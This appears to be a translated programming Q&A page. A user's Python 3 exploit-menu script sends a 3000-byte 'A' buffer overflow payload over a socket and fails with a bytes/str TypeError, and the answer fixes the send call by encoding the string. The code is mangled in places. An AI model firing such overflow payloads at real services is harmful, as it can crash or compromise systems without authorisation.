2017-08-28 15 views
0

私は最近誰かのプロジェクトに取り組んでいました。単純なバッファオーバーフローエクスプロイトをインポートしようとしているうちに、私は解決策を見つけることができないという問題に遭遇しました。私はStackOverflowを検索し、LiveOverFlowに質問しました(Heh。オーバーフローに関する2つのオーバーフローからの回答を探しています)。 以下は、オーバーフローのコードとエラーのある2枚の画像です。TypeError: 'str'はバッファインターフェイスをサポートしていません - Python3ソケット

import sys 
import socket 






def cmdline(): 
    sys.stdout.write(RED) 
    cmdinput = input("NSEFW >> ") #<---- PS1 





    def ExploitSimpleBufferOverflow(): 

    sys.stdout.write(CYAN2) 
    host = input("Enter the host IP: ") 
    port = int(input("Enter the host port: ")) 
    sys.stdout.write(RESET) 

    for carg in sys.argv: 
    if carg == "-s": 
     argnum = sys.argv.index(carg) 
     argnum += 1 
     host = sys.argv[argnum] 

    elif carg == "-p": 
     argnum = sys.argv.index(carg) 
     argnum += 1 
     port = sys.argv[argnum] 

    buffer = "\x41"* 3000 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    s.connect((host,port)) 
    s.send("USV" + buffer + "//r//n//r") 
    s.close 
    print('Exploit send succesfully.\n', end="") 



    #Lists all avaible exploits. 



    elif cmdinput.lower() == "list exploits": 
     sys.stdout.write(RESET) 
     print('\n\nto use an exploit, type "use <name>"\n', end="") 
     print(' \n', end="") 
     sys.stdout.write(WHITE) 
     print('\nSimple_Buffer_Overflow (esbo)  ', end="") 
     sys.stdout.write(RED) 
     print('[M] ', end="") 
     sys.stdout.write(BLUE) 
     print('[D]', end="") 
     print(' \n', end="") 



    #Callout for SimpleBufferOverflow exploit. 



    elif cmdinput.lower() == "use exploit_simple_buffer_overflow": 
     ExploitSimpleBufferOverflow() 

    elif cmdinput.lower() == "use esbo": 
     ExploitSimpleBufferOverflow() 

Error without encode. Error with encode.

答えて

1

あなたにもバイトが、ヘッダとトレーラの文字列であることをbufferだけの必要はありません。これはうまくいくはずです:

s.send(("USV" + buffer + "//r//n//r").encode('utf-8')) 
関連する問題